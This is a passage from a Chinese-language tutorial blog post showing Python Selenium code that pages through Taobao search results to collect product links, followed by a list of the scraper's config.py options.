    driver.execute_script(js)
    except WebDriverException:
    print u'页面下拉失败'
    try:
    next = driver.find_element_by_css_selector('#content b.ui-page-num > a.ui-page-next')
    next.click()
    except NoSuchElementException:
    print u'找到了翻页按钮'
    driver.implicitly_wait(5)
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.CSS_SELECTOR, "#J_ItemList div.productImg-wrap"))
    )
    except TimeoutException:
    print u'查询失败'
    html = driver.page_source
    parse_html(html)

    运行结果截图 QQ20160630-5@2x 采集到到内容保存到 urls.txt 中 QQ20160630-6@2x 嗯,这下采集链接和爬取链接都有了。

    代码放送

    扯了这么多,许多童鞋已经蠢蠢欲动了,大声告诉我你们想要的是什么? 哦没错!代码! 嗯在这呢! 代码

    附加扯淡

    嗯想说一句,在这里还提供了一些可配置项,比如翻页最大次数,超时时间,下拉次数,登录链接等等。 都可以在 config.py 中配置。

    • URLS_FILE

    保存链接单的文件

    • OUT_FILE

    输出文本 EXCEL 路径

    • COUNT_TXT

    计数文件

    • DRIVER

    浏览器驱动

    • TIMEOUT

    采集超时时间

    • MAX_SCROLL_TIME

    下拉滚动条最大次数

    • NOW_URL_COUNT

    当前采集到第几个链接

    • LOGIN_URL

    登录淘宝的链接

    • SEARCH_LINK

    采集淘宝链接搜索页面

    • CONTENT

    采集链接临时变量

    • PAGE

    采集淘宝链接翻页数目

    • FILTER_SHOP

    是否过滤相同店铺

    • ANONYMOUS_STR

    匿名用户标志,已失效

    哦,对了,程序怎么用啊?看 README!